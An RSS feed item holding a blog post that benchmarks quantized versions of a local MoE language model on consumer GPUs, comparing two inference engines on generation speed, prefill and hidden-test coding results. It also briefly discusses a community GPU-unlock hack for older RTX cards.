<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hardware | AkitaOnRails.com</title><link>https://www.akitaonrails.com/en/tags/hardware/</link><description>Fabio Akita's blog — tech, career, and assorted geek topics. English edition.</description><generator>Hugo -- gohugo.io</generator><language>en</language><lastBuildDate>Fri, 30 Oct 2026 06:11:16 +0000</lastBuildDate><atom:link href="https://www.akitaonrails.com/en/tags/hardware/index.xml" rel="self" type="application/rss+xml"/><item><title>LLM Benchmark: What Are the Best Open Source LLMs for Home Hardware?</title><link>https://www.akitaonrails.com/en/2026/10/27/llm-benchmark-best-open-source-llms-for-home-hardware/</link><guid isPermaLink="true">https://www.akitaonrails.com/en/2026/10/27/llm-benchmark-best-open-source-llms-for-home-hardware/</guid><pubDate>Tue, 27 Oct 2026 13:00:00 -0300</pubDate><description>&lt;p&gt;In the &lt;a href="https://www.akitaonrails.com/en/2026/10/22/llm-benchmark-v4-the-open-source-verdict-as-of-oct-2026/"&gt;last LLM Benchmark about open source models&lt;/a&gt;, I pushed things as far as was reasonable. I rented B300s, H200s, four-GPU pods, ran almost 70 rounds, and spent more than $6,000 on the whole campaign. It produced strong candidates such as DeepSeek V4.1 Flash, GLM 5.3 Flash, and Qwen3.8 Flash-Next, all close to frontier models in my programming test.&lt;/p&gt;
&lt;p&gt;The machine remained the problem. A 510 GB model that needs four B300s may be open source on GitHub, but it is still beyond the reach of anyone who wants to run an AI in a home office.&lt;/p&gt;</description><content:encoded><![CDATA[<p>In the <a href="/en/2026/10/22/llm-benchmark-v4-the-open-source-verdict-as-of-oct-2026/">last LLM Benchmark about open source models</a>, I pushed things as far as was reasonable. I rented B300s, H200s, four-GPU pods, ran almost 70 rounds, and spent more than $6,000 on the whole campaign. It produced strong candidates such as DeepSeek V4.1 Flash, GLM 5.3 Flash, and Qwen3.8 Flash-Next, all close to frontier models in my programming test.</p>
<p>The machine remained the problem. A 510 GB model that needs four B300s may be open source on GitHub, but it is still beyond the reach of anyone who wants to run an AI in a home office.</p>
<p>I went back to my RTX 5090 and Strix Halo. Instead of repeating the full v4 benchmark on dozens of models that we already know will not fit or run fast enough, I took the most promising candidate and compared <strong>its quantizations</strong>. Which version preserves enough quality without turning every interaction into a wait of several minutes?</p>
<p>The result surprised me: <strong>the 2-bit version won</strong>. I then repeated the test with <a href="https://github.com/jesdga95/basalt"target="_blank" rel="noopener">Basalt</a>, a Strata fork specialized for Blackwell GPUs. The model kept getting everything right, while generation reached <strong>400 tokens per second</strong>. The quantization did not change; the engine changed the result substantially.</p>
<h2>The RTX 3090 and 4090 got a second wind<span class="hx:absolute hx:-mt-20" id="the-rtx-3090-and-4090-got-a-second-wind"></span>
    <a href="#the-rtx-3090-and-4090-got-a-second-wind" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before my results, the community found a limitation that could be removed. On GeForce RTX 20 cards, some FP16 Tensor Core operations with FP32 accumulation run at half the theoretical issue rate per cycle of their professional equivalents. On RTX 30 and 40 cards, the limit also affects BF16.</p>
<p>The hardware is there. Two internal registers select the speed, and the normal driver does not have enough privilege to change them.</p>
<p>The <a href="https://github.com/Zagitta/gpu-unlock"target="_blank" rel="noopener">gpu-unlock</a> project found a way to change those registers before the NVIDIA driver takes over the card. On Ampere, it exploits a buffer overflow in the signed Booter that authenticates and loads GSP-RM. Nothing is written to the VBIOS. To restore stock behavior, remove the activation parameter and fully power the machine off, because the selectors reset when the card loses power. If the parameter remains active, the module reapplies the unlock on the next boot.</p>
<p>It also requires Linux, initramfs, and a lot of care. I would not install this on a production workstation without reading the code and understanding the risk.</p>
<p>This is a community hack with no official NVIDIA support. You install it at your own risk. Its value for LLMs is faster prefill when the engine uses this exact Tensor Core path. Other compute applications, including some image-generation pipelines, may also change in performance. Games depend on different GPU paths and bottlenecks, so do not expect higher frame rates from it.</p>
<p>On an RTX 3090 at 420 W, <a href="https://github.com/Zagitta/gpu-unlock/issues/85"target="_blank" rel="noopener">a controlled test</a> measured FP16 with FP32 accumulation going from 76.396 to 125.006 TFLOPS; BF16 went from 76.994 to 127.923. On the 4090, an implementation that is still experimental measured roughly twice the FP16 and BF16 instruction issue rate.</p>
<p>Doubling TFLOPS does not double your LLM. The <a href="https://dev.to/orca_forge/why-gpu-unlock-speeds-up-rtx-3090-prefill-but-barely-changes-decode-4572"target="_blank" rel="noopener">test that prompted this discussion</a> separated the two phases:</p>
<ul>
<li><strong>Prefill</strong> is when the model reads the whole prompt. Many tokens are available at once, so the engine can build large parallel matrix operations. <a href="https://github.com/Zagitta/gpu-unlock/issues/33"target="_blank" rel="noopener">One 3090 gained 14.4%</a> on a 16K-token workload, while two modified 3080s gained <a href="https://github.com/Zagitta/gpu-unlock/issues/15"target="_blank" rel="noopener">33% to 36% with vLLM</a>.</li>
<li><strong>Decode</strong> is when the model generates one token after another. With a quantized LLM using expert offload, this phase is constrained mainly by memory bandwidth, RAM, PCIe, and the expert cache. The measured change stayed within noise.</li>
</ul>
<p>The gain varies substantially with the engine, quantization, and prompt size. On the dual 3080 setup, Qwen3.8 Flash-Next Q4_K_XL gained only 0.5% to 0.8% at 8K, but reached 12% or 13% at 32K and 128K. On a 3090 running an IQ3_S MoE, a workload near 32K did not change. The computation path used by a quantization may never touch the FP16/BF16 path that was unlocked.</p>
<blockquote>
  <p>gpu-unlock accelerates a specific Tensor Core path. It may reduce the wait when reading large prompts, but it does not turn 24 GB into 96 GB or create memory bandwidth.</p>

</blockquote>
<p>Even with that caveat, the 3090 and 4090 became more interesting for local inference. A used <a href="https://www.nvidia.com/en-us/geforce/graphics-cards/30-series/rtx-3090-3090ti/"target="_blank" rel="noopener">RTX 3090</a> still has 24 GB of VRAM, NVLink in its generation, and 936 GB/s of bandwidth. The community measured Qwen3.8 Flash-Next at roughly <a href="https://github.com/sybil-solutions/local-ai-registry/pull/212"target="_blank" rel="noopener">75 tok/s with IQ3_S and 100 tok/s with Q2_0</a> on one 3090. With two cards, reports range from <a href="https://github.com/ruashots/flashnext-2x3090"target="_blank" rel="noopener">90 to 120 tok/s</a>, depending on the configuration and context size. Those are community results, not measurements from this round.</p>
<h2>Why I chose Qwen3.8 Flash-Next<span class="hx:absolute hx:-mt-20" id="why-i-chose-qwen38-flash-next"></span>
    <a href="#why-i-chose-qwen38-flash-next" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>In v4, the open candidates that really interested me were:</p>
<table>
  <thead>
      <tr>
          <th>Model</th>
          <th>Where I ran it</th>
          <th style="text-align: right">v4 score</th>
          <th style="text-align: right">Speed</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DeepSeek V4.1 Flash</td>
          <td>4x B300, native checkpoint</td>
          <td style="text-align: right">92.5</td>
          <td style="text-align: right">174.8 tok/s</td>
      </tr>
      <tr>
          <td>GLM 5.3 Flash</td>
          <td>1x B300, NVFP4</td>
          <td style="text-align: right">92.5</td>
          <td style="text-align: right">142 tok/s</td>
      </tr>
      <tr>
          <td>Qwen3.8 Flash-Next</td>
          <td>1x B300, NVFP4</td>
          <td style="text-align: right">92.5</td>
          <td style="text-align: right">195 tok/s</td>
      </tr>
      <tr>
          <td>Qwen3.8 Flash-Next</td>
          <td>RTX 5090, IQ3_S</td>
          <td style="text-align: right">91.0</td>
          <td style="text-align: right">159.2 tok/s</td>
      </tr>
  </tbody>
</table>
<p>The three tied within the noise margin. Only Qwen repeated that quality on consumer hardware. Its main model is a 125-billion-parameter MoE with roughly 6 billion active parameters per token, plus 51 billion parameters in n-gram embeddings and a 4-billion-parameter MTP head. <a href="https://github.com/Niko1221/Strata"target="_blank" rel="noopener">Strata</a> keeps the most frequently used experts on the GPU, keeps the rest in RAM for the CPU to compute, reads the n-gram table from the SSD, and uses the model&rsquo;s own MTP layer to speculate the next tokens.</p>
<p>DeepSeek V4.1&rsquo;s backbone and Engram add up to about 748 billion parameters: 552 billion in the backbone and 196 billion in Engram. The published checkpoint has roughly 763 billion parameters in total. I served its native mixed FP4/FP8 version, about 510 GB, on the four-B300 pod.</p>
<p>I also managed to start a 2-bit version on the 5090 using Strata&rsquo;s dedicated engine. It generated around <strong>17 tokens per second</strong>. It runs. It is out of the race for a programming agent.</p>
<p>The GLM 5.3 Flash NVFP4 checkpoint was around 198 GB and ran on the B300. This repository has no consumer configuration that I measured and can recommend. The smaller GLM 4.7 Flash had already scored 24 on the 5090 and 33.5 on the B300 in the previous benchmark. Spending days forcing the wrong family to fit would not produce useful information.</p>
<p>I also left out Qwen 4 and Llama by choice. This round asks a narrow question: <strong>which version of the model that already proved its quality works best on the two machines I own?</strong></p>
<h2>What I tested<span class="hx:absolute hx:-mt-20" id="what-i-tested"></span>
    <a href="#what-i-tested" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>All the code, prompts, hidden tests, and results are in <a href="https://github.com/akitaonrails/llm-opensource-benchmark"target="_blank" rel="noopener">llm-opensource-benchmark</a>. I tested four Qwen3.8 Flash-Next versions:</p>
<table>
  <thead>
      <tr>
          <th>Quantization</th>
          <th style="text-align: right">Model files</th>
          <th>Idea</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Q2_0</td>
          <td style="text-align: right">~62 GiB</td>
          <td>2 bits, smaller and more aggressive</td>
      </tr>
      <tr>
          <td>IQ3_XXS</td>
          <td style="text-align: right">~71 GiB</td>
          <td>3 bits, optimized for size</td>
      </tr>
      <tr>
          <td>IQ3_S</td>
          <td style="text-align: right">~78 GiB</td>
          <td>3 bits, more precision</td>
      </tr>
      <tr>
          <td>UD-Q4_K_XL</td>
          <td style="text-align: right">~104 GiB</td>
          <td>4 bits, preserves more of the weights</td>
      </tr>
  </tbody>
</table>
<p>The Strata files include a shared PLE component, so the full size does not fit directly in VRAM. The engine distributes experts between the GPU and RAM. On Basalt, I used the project&rsquo;s own packs: one 64.9 GiB <code>.basalt</code> file for Q2_0 and an 81.0 GiB file for IQ3_S. Each file already includes the weights, tokenizer, MTP, expert profile, and vision projector.</p>
<p>For the first RTX 5090 round, I used Strata&rsquo;s CUDA backend with:</p>
<ul>
<li>4 GiB of VRAM reserved for Hyprland, the browser, and the terminal;</li>
<li><code>int8</code> KV cache, a 128K maximum context, and 32K resident on the GPU;</li>
<li>an elastic expert cache;</li>
<li>four-token speculation with the model&rsquo;s MTP.</li>
</ul>
<p>I then ran Q2_0 and IQ3_S on Basalt, on the same 5090 and with the same 131,072-token maximum context and <code>int8</code> KV. I reserved 4,608 MiB because Basalt counts its working buffers against that margin. Free VRAM stayed between 3.6 and 4.4 GB during the tests.</p>
<p>On the Strix Halo, I used the <code>hip-halo</code> backend. That machine has 64 GB reserved for the GPU and 31 GB of GTT mapped over system RAM; the engine&rsquo;s RAM limit was 61.9 GiB. Since it is headless, I gave the entire GPU to the model and kept 8 GiB of headroom for the conversation cache.</p>
<p>The Strata measurements use two different backends underneath, CUDA on NVIDIA and HIP/ROCm on AMD, with the same engine and the same OpenAI-compatible API. Basalt adds an engine comparison on the 5090, using the same OpenCode, prompts, and grading.</p>
<h2>Methodology<span class="hx:absolute hx:-mt-20" id="methodology"></span>
    <a href="#methodology" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I started with a speed test in three situations:</p>
<ol>
<li>a cold 4K-token prompt;</li>
<li>a cold prompt labeled 32K, which this model&rsquo;s tokenizer counted as 42,400 tokens;</li>
<li>a continuation of the same conversation, reusing the cache.</li>
</ol>
<p>Each one generates 256 tokens. The runner measures time to first token, prompt processing, generation, VRAM, RAM, power, and temperature.</p>
<h3>What each speed number means<span class="hx:absolute hx:-mt-20" id="what-each-speed-number-means"></span>
    <a href="#what-each-speed-number-means" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>When someone says an LLM runs at 200 tokens per second, they are almost always talking only about generation. An agent session goes through different phases, and each phase hits a different bottleneck.</p>
<p><strong>Prefill</strong> is the initial reading of the prompt. The model must process the harness instructions, conversation history, files, and your question before producing its first word. Since all those tokens are available at once, the GPU can process large matrices in parallel.</p>
<p>This phase makes better use of Tensor Cores and raw compute. The larger the context, the more it matters.</p>
<table>
  <thead>
      <tr>
          <th>Metric</th>
          <th>What it measures</th>
          <th>What you feel</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Prompt tok/s</td>
          <td>Prefill throughput, or how many input tokens are read per second</td>
          <td>Time to digest new context</td>
      </tr>
      <tr>
          <td>TTFT (<em>time to first token</em>)</td>
          <td>Total time between sending the request and receiving the first token</td>
          <td>The pause before the answer starts</td>
      </tr>
      <tr>
          <td>Decode or output tok/s</td>
          <td>Generation speed after the first token</td>
          <td>Pace of text and tool calls</td>
      </tr>
      <tr>
          <td>TPOT (<em>time per output token</em>)</td>
          <td>Time per generated token, usually reported at p50 and p99 (or p95)</td>
          <td>Response consistency; a high tail percentile exposes stalls</td>
      </tr>
      <tr>
          <td>Wall time</td>
          <td>Time for the whole task, including tools, tests, retries, and generated text</td>
          <td>Actual agent productivity</td>
      </tr>
  </tbody>
</table>
<p>The <strong>KV cache</strong> stores intermediate states for tokens that have already been processed. On a continuation of the same conversation, the model reuses that state instead of reading everything again. That is why the append test reaches tens of thousands of prompt tokens per second and receives the first token in roughly half a second. That number measures cache reuse; comparing it with cold prefill would be dishonest.</p>
<p>The KV cache also grows with the conversation and competes with weights, experts, and buffers for memory. Here it uses <code>int8</code>, with 32K resident on the 5090. Advertised maximum context, context that fits, and context that stays fast are three different numbers.</p>
<p><strong>Speculative decoding</strong> uses a draft layer to propose several tokens and lets the main model verify the batch. Output tok/s goes up when the acceptance rate is good. The benefit vanishes when the draft misses too often. The Strata speeds already include MTP with four-token speculation. Basalt also uses the MTP included in its pack, with its own speculation mechanism and defaults.</p>
<p>One metric is missing because I did not measure it here: <strong>concurrency</strong>. Every number in this article comes from a single stream. A server can handle several sessions and raise aggregate throughput, while each user will usually receive fewer tokens per second.</p>
<p>For individual use, single-stream performance and wall time are what matter. A team must measure simultaneous sessions and per-user latency, as I did in the <a href="/en/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/">B300 and H200 test</a>.</p>
<p>Then came two programming tests using OpenCode 2.1.4. The model receives a small Python codebase, works in one continuous session, and never sees the hidden tests. Everything runs inside Bubblewrap, without network access, with a limited filesystem and a local gateway that accepts calls only to the expected model.</p>
<p>The first canary has three turns and 9 hidden tests. The model must implement a log analyzer, fix bugs, and handle changed requirements.</p>
<p>The hard canary has four turns and 36 hidden tests. It is a payment reconciler with decisions buried inside a roughly 79K-token history, one decision corrected later, rejected proposals used as distractions, money that requires exact decimals, and new rules that interact with earlier ones. With OpenCode&rsquo;s system prompt, the first turn approaches 83K tokens.</p>
<h3>A separate yardstick from benchmark v4<span class="hx:absolute hx:-mt-20" id="a-separate-yardstick-from-benchmark-v4"></span>
    <a href="#a-separate-yardstick-from-benchmark-v4" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>These canaries are much smaller and easier. In v4, the model works on a Rails application for seven sprints while a reviewer injects 14 security and correctness defects. The score measures how many defects it finds and fixes on its own before they are revealed. It is a vigilance test with much more code, more tools, and more opportunities to lose track.</p>
<p>Here I use two small Python codebases, three or four turns, and hidden functional tests. I built this yardstick to compare <strong>quantizations of the same Qwen</strong> and find out whether reducing the bits breaks requirements, context retention, or process. The comparison ends there. Qwen, Opus, GPT, DeepSeek, and the other model families remain a job for v4.</p>
<p>A score of 100 in this article belongs to a different scale, with no equivalence to 100 in v4. It also does not make Q2_0 &ldquo;better&rdquo; than the IQ3_S version that scored 91 in v4. V4 selected Qwen as the candidate; this smaller test selects which Qwen file is worth loading at home.</p>
<blockquote>
  <p>Speed without quality only makes the model fail faster. That is why I measured them separately.</p>

</blockquote>
<h2>Speed ranking<span class="hx:absolute hx:-mt-20" id="speed-ranking"></span>
    <a href="#speed-ranking" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>RTX 5090 with Strata, 4 GiB reserved for the desktop<span class="hx:absolute hx:-mt-20" id="rtx-5090-with-strata-4-gib-reserved-for-the-desktop"></span>
    <a href="#rtx-5090-with-strata-4-gib-reserved-for-the-desktop" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Quantization</th>
          <th style="text-align: right">Generation</th>
          <th style="text-align: right">Long-input processing</th>
          <th style="text-align: right">First token</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Q2_0</strong></td>
          <td style="text-align: right"><strong>223 to 259 tok/s</strong></td>
          <td style="text-align: right"><strong>6,158 tok/s</strong></td>
          <td style="text-align: right"><strong>6.9 s</strong></td>
      </tr>
      <tr>
          <td>IQ3_XXS</td>
          <td style="text-align: right">196 to 241 tok/s</td>
          <td style="text-align: right">5,084 tok/s</td>
          <td style="text-align: right">8.3 s</td>
      </tr>
      <tr>
          <td>IQ3_S</td>
          <td style="text-align: right">158 to 208 tok/s</td>
          <td style="text-align: right">6,233 tok/s</td>
          <td style="text-align: right">6.8 s</td>
      </tr>
      <tr>
          <td>UD-Q4_K_XL</td>
          <td style="text-align: right">44 to 52 tok/s</td>
          <td style="text-align: right">2,300 tok/s</td>
          <td style="text-align: right">19 s</td>
      </tr>
  </tbody>
</table>
<h3>RTX 5090 with Basalt<span class="hx:absolute hx:-mt-20" id="rtx-5090-with-basalt"></span>
    <a href="#rtx-5090-with-basalt" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Quantization</th>
          <th style="text-align: right">Generation</th>
          <th style="text-align: right">Long-input processing</th>
          <th style="text-align: right">First token</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Q2_0</strong></td>
          <td style="text-align: right"><strong>377 to 400 tok/s</strong></td>
          <td style="text-align: right"><strong>8,573 tok/s</strong></td>
          <td style="text-align: right"><strong>4.9 s</strong></td>
      </tr>
      <tr>
          <td>IQ3_S</td>
          <td style="text-align: right">223 to 231 tok/s</td>
          <td style="text-align: right">8,196 tok/s</td>
          <td style="text-align: right">5.2 s</td>
      </tr>
  </tbody>
</table>
<h3>Strix Halo, using the whole GPU<span class="hx:absolute hx:-mt-20" id="strix-halo-using-the-whole-gpu"></span>
    <a href="#strix-halo-using-the-whole-gpu" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><table>
  <thead>
      <tr>
          <th>Quantization</th>
          <th style="text-align: right">Generation</th>
          <th style="text-align: right">Long-input processing</th>
          <th style="text-align: right">First token</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><strong>Q2_0</strong></td>
          <td style="text-align: right"><strong>55 to 65 tok/s</strong></td>
          <td style="text-align: right"><strong>371 tok/s</strong></td>
          <td style="text-align: right"><strong>114 s</strong></td>
      </tr>
      <tr>
          <td>IQ3_XXS</td>
          <td style="text-align: right">50 to 57 tok/s</td>
          <td style="text-align: right">347 tok/s</td>
          <td style="text-align: right">122 s</td>
      </tr>
      <tr>
          <td>IQ3_S</td>
          <td style="text-align: right">47 to 50 tok/s</td>
          <td style="text-align: right">338 tok/s</td>
          <td style="text-align: right">125 s</td>
      </tr>
      <tr>
          <td>UD-Q4_K_XL</td>
          <td style="text-align: right">17 tok/s on one 4K prompt</td>
          <td style="text-align: right">137 tok/s</td>
          <td style="text-align: right">did not finish</td>
      </tr>
  </tbody>
</table>
<p>The 5090 has 32 GB of GDDR7 and <a href="https://www.nvidia.com/en-us/geforce/graphics-cards/50-series/rtx-5090/"target="_blank" rel="noopener">1,792 GB/s of bandwidth</a>. The Strix has more total capacity, but its roughly 256 GB/s must serve the entire system. Even with Strata on both machines, the difference appears mainly in prefill: 6.9 seconds versus almost 2 minutes to start answering the 42,400-token workload. Basalt cut the 5090 wait to 4.9 seconds.</p>
<p>Q4 gave me the worst of both worlds. On the 5090 it ran slowly, and <code>systemd-oomd</code> killed the quality test. On the Strix, it exhausted VRAM, started paging, and froze the machine until a reboot. More bits preserve more information, but they also use more memory and shrink the hot cache that makes this MoE move.</p>
<h2>Basalt versus Strata<span class="hx:absolute hx:-mt-20" id="basalt-versus-strata"></span>
    <a href="#basalt-versus-strata" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://github.com/jesdga95/basalt"target="_blank" rel="noopener">Basalt</a> started as a Strata fork and took a narrower direction: Linux or Windows, CUDA 13, and an NVIDIA Blackwell GPU with compute capability 12.0. The 5090 is exactly its target. Strata remains much broader and is what allowed the same Qwen to run on the AMD Strix Halo.</p>
<p>Both engines solve the same central problem. In the tested configuration, experts that do not fit in VRAM stay in RAM while the GPU holds a hot subset. Basalt and Strata expose OpenAI- and Anthropic-compatible APIs and accelerate generation with their MTP drafters. Basalt stores everything in one file and has kernels, memory management, and speculative execution developed specifically for Blackwell.</p>
<p>This was a practical A/B between complete serving stacks, without isolating one optimization. Each engine has its own packs, their defaults are not identical, and Basalt reserved 4,608 MiB of VRAM versus Strata&rsquo;s 4,096 MiB. I kept the same RTX 5090, the same quantizations, a 131K maximum context, <code>int8</code> KV, the same OpenCode, and the same tests.</p>
<p>Basalt won every speed metric in this A/B and tied on functional coding results. Q2_0 moved from a range of 223 to 259 tokens per second to 377 to 400. Long-input processing rose from 6,158 to 8,573 tokens per second, and the wait for the first token fell from 6.9 to 4.9 seconds. IQ3_S moved from 158 to 208 to a range of 223 to 231 tokens per second.</p>
<p>Platform scope decides the choice. On an RTX 5090, I would start with Basalt. On the Strix, pre-Blackwell NVIDIA, or other supported hardware, Strata remains the path. Strata covers the platforms where Basalt does not run.</p>
<h2>Quality ranking<span class="hx:absolute hx:-mt-20" id="quality-ranking"></span>
    <a href="#quality-ranking" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The simple test separated nothing:</p>
<table>
  <thead>
      <tr>
          <th>Quantization</th>
          <th style="text-align: right">RTX 5090</th>
          <th style="text-align: right">Strix Halo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Q2_0</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">100</td>
      </tr>
      <tr>
          <td>IQ3_XXS</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">100</td>
      </tr>
      <tr>
          <td>IQ3_S</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">100</td>
      </tr>
  </tbody>
</table>
<p>All three passed the 9 hidden tests, preserved the requirements, and finished with the visible suite green. I had to make the test harder.</p>
<p>In the hard canary, I ran Q2_0 and IQ3_S three times each on the 5090 with Strata:</p>
<table>
  <thead>
      <tr>
          <th>Run</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: right">Hidden tests</th>
          <th style="text-align: right">Time for 4 turns</th>
          <th style="text-align: right">Output tokens</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Q2_0 r1</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">5.3 min</td>
          <td style="text-align: right">70K</td>
      </tr>
      <tr>
          <td>Q2_0 r2</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">8.8 min</td>
          <td style="text-align: right">117K</td>
      </tr>
      <tr>
          <td>Q2_0 r3</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">7.4 min</td>
          <td style="text-align: right">100K</td>
      </tr>
      <tr>
          <td>IQ3_S r1</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">11.9 min</td>
          <td style="text-align: right">110K</td>
      </tr>
      <tr>
          <td>IQ3_S r2</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">13.3 min</td>
          <td style="text-align: right">127K</td>
      </tr>
      <tr>
          <td>IQ3_S r3</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">11.1 min</td>
          <td style="text-align: right">98K</td>
      </tr>
  </tbody>
</table>
<p>Both versions got everything right in all three runs. They found the decisions in the long context, respected the later correction, handled out-of-order events, chargebacks, currency conversion, and completed the final refactor. They also went through a similar number of failing test runs while working.</p>
<p>The difference was on the clock. <strong>Q2_0 took 7.2 minutes on average. IQ3_S took 12.1.</strong> The 2-bit model delivered the same result in roughly 60% of the time.</p>
<p>I then repeated all six runs on Basalt:</p>
<table>
  <thead>
      <tr>
          <th>Run</th>
          <th style="text-align: right">Score</th>
          <th style="text-align: right">Hidden tests</th>
          <th style="text-align: right">Time for 4 turns</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Q2_0 r1</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">5.9 min</td>
      </tr>
      <tr>
          <td>Q2_0 r2</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">4.2 min</td>
      </tr>
      <tr>
          <td>Q2_0 r3</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">6.3 min</td>
      </tr>
      <tr>
          <td>IQ3_S r1</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">5.8 min</td>
      </tr>
      <tr>
          <td>IQ3_S r2</td>
          <td style="text-align: right">96*</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">11.3 min</td>
      </tr>
      <tr>
          <td>IQ3_S r3</td>
          <td style="text-align: right">100</td>
          <td style="text-align: right">36/36</td>
          <td style="text-align: right">10.1 min</td>
      </tr>
  </tbody>
</table>
<p>The penalty that dropped the second IQ3_S run to 96 was a known harness false positive. The model executed <code>ps aux</code> inside the sandbox, and the command showed the <code>bwrap</code> process itself, whose command line contains host paths. The detector treated that as an attempt to access the hidden tests and removed four points. The model did not use those paths, the hidden tests are only mounted later during grading, and all 36 passed.</p>
<p>On Basalt, Q2_0 took <strong>5.4 minutes on average</strong>, compared with 7.2 on Strata. IQ3_S fell from 12.1 to <strong>9.0 minutes</strong>. The end-to-end gain is smaller than the jump in tokens per second because the session also spends time running tools and tests, and each run generated a different amount of text.</p>
<p>The evidence covers small Python codebases, contexts up to roughly 85K tokens, and only three repetitions per engine and quantization combination in the hard canary. A 2-bit quantization will usually lose quality first on contexts above 100K and on larger codebases. Within the use I measured, spending more bits bought no quality.</p>
<h2>What each version showed<span class="hx:absolute hx:-mt-20" id="what-each-version-showed"></span>
    <a href="#what-each-version-showed" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>Q2_0: the current recommendation<span class="hx:absolute hx:-mt-20" id="q2_0-the-current-recommendation"></span>
    <a href="#q2_0-the-current-recommendation" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>It generated tokens faster in all three machine-and-engine combinations and finished all six hard runs with a perfect score. IQ3_S won the long-prompt prefill measurement on Strata and the 5090 by a tiny margin. With Basalt, Q2_0 reached 400 tokens per second. On the Strix, 55 to 65 tokens per second is usable, although long prefill costs almost two minutes before the first answer.</p>
<p>I would use this version every day and keep the context caveat in mind. Large project, session approaching 100K, or strange behavior? I repeat the same work with IQ3_S before blaming the model.</p>
<h3>IQ3_XXS: no clear role<span class="hx:absolute hx:-mt-20" id="iq3_xxs-no-clear-role"></span>
    <a href="#iq3_xxs-no-clear-role" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>It passed the simple canary and ran quickly, but Q2_0 was faster and uses less space. I did not run the three hard-test repetitions on IQ3_XXS, so I have no data showing a quality advantage.</p>
<h3>IQ3_S: the conservative option<span class="hx:absolute hx:-mt-20" id="iq3_s-the-conservative-option"></span>
    <a href="#iq3_s-the-conservative-option" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>This is still the version I would use to validate a suspicious Q2_0 result. It had already scored 91 in benchmark v4 on the 5090, only 1.5 points below its NVFP4 version on the B300. On Basalt, it ran at 223 to 231 tokens per second, roughly the range Q2_0 reached on Strata, while processing prompts faster.</p>
<p>Basalt also measures each quantization against Q8_0. Across its 100-chunk test, IQ3_S kept the same top token in 87.16% of positions. That is a different yardstick from my canaries, but it supports IQ3_S&rsquo;s role as the conservative option. In my coding tests, that extra precision still found nothing Q2_0 had missed.</p>
<h3>UD-Q4_K_XL: quality that does not fit is useless<span class="hx:absolute hx:-mt-20" id="ud-q4_k_xl-quality-that-does-not-fit-is-useless"></span>
    <a href="#ud-q4_k_xl-quality-that-does-not-fit-is-useless" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>It was the intuitive candidate for preserving more fidelity. I ran out of memory before reaching the test that could confirm it. On the 5090, it fell below one quarter of Q2_0&rsquo;s speed and the system killed the run. On the Strix, the machine froze.</p>
<p>The largest quantization that fits on paper can be the worst real configuration. An MoE depends on the space left for experts, KV cache, buffers, and the operating system itself.</p>
<h2>Which hardware is worth it?<span class="hx:absolute hx:-mt-20" id="which-hardware-is-worth-it"></span>
    <a href="#which-hardware-is-worth-it" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>RTX 3090 and 4090: good if you already own them<span class="hx:absolute hx:-mt-20" id="rtx-3090-and-4090-good-if-you-already-own-them"></span>
    <a href="#rtx-3090-and-4090-good-if-you-already-own-them" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Both have 24 GB, which limits the expert cache. gpu-unlock improves prefill in workloads that use the unlocked path, while decode remains constrained by memory and offload. A used 3090, especially two of them with NVLink, can make an interesting local machine. I would not buy a new 4090 today just for this: it still has 24 GB, costs a lot, and the Ada unlock remains experimental.</p>
<p>For either one, I would start with <strong>Qwen3.8 Flash-Next Q2_0</strong> and measure my workload. The roughly 100 tokens per second published by the community on one 3090 already puts the card in a practical range. Two 3090s add capacity and may land between 90 and 120 tokens per second, but they do not automatically double throughput. The bill includes power draw, heat, a suitable PSU, and at least 128 GB of RAM.</p>
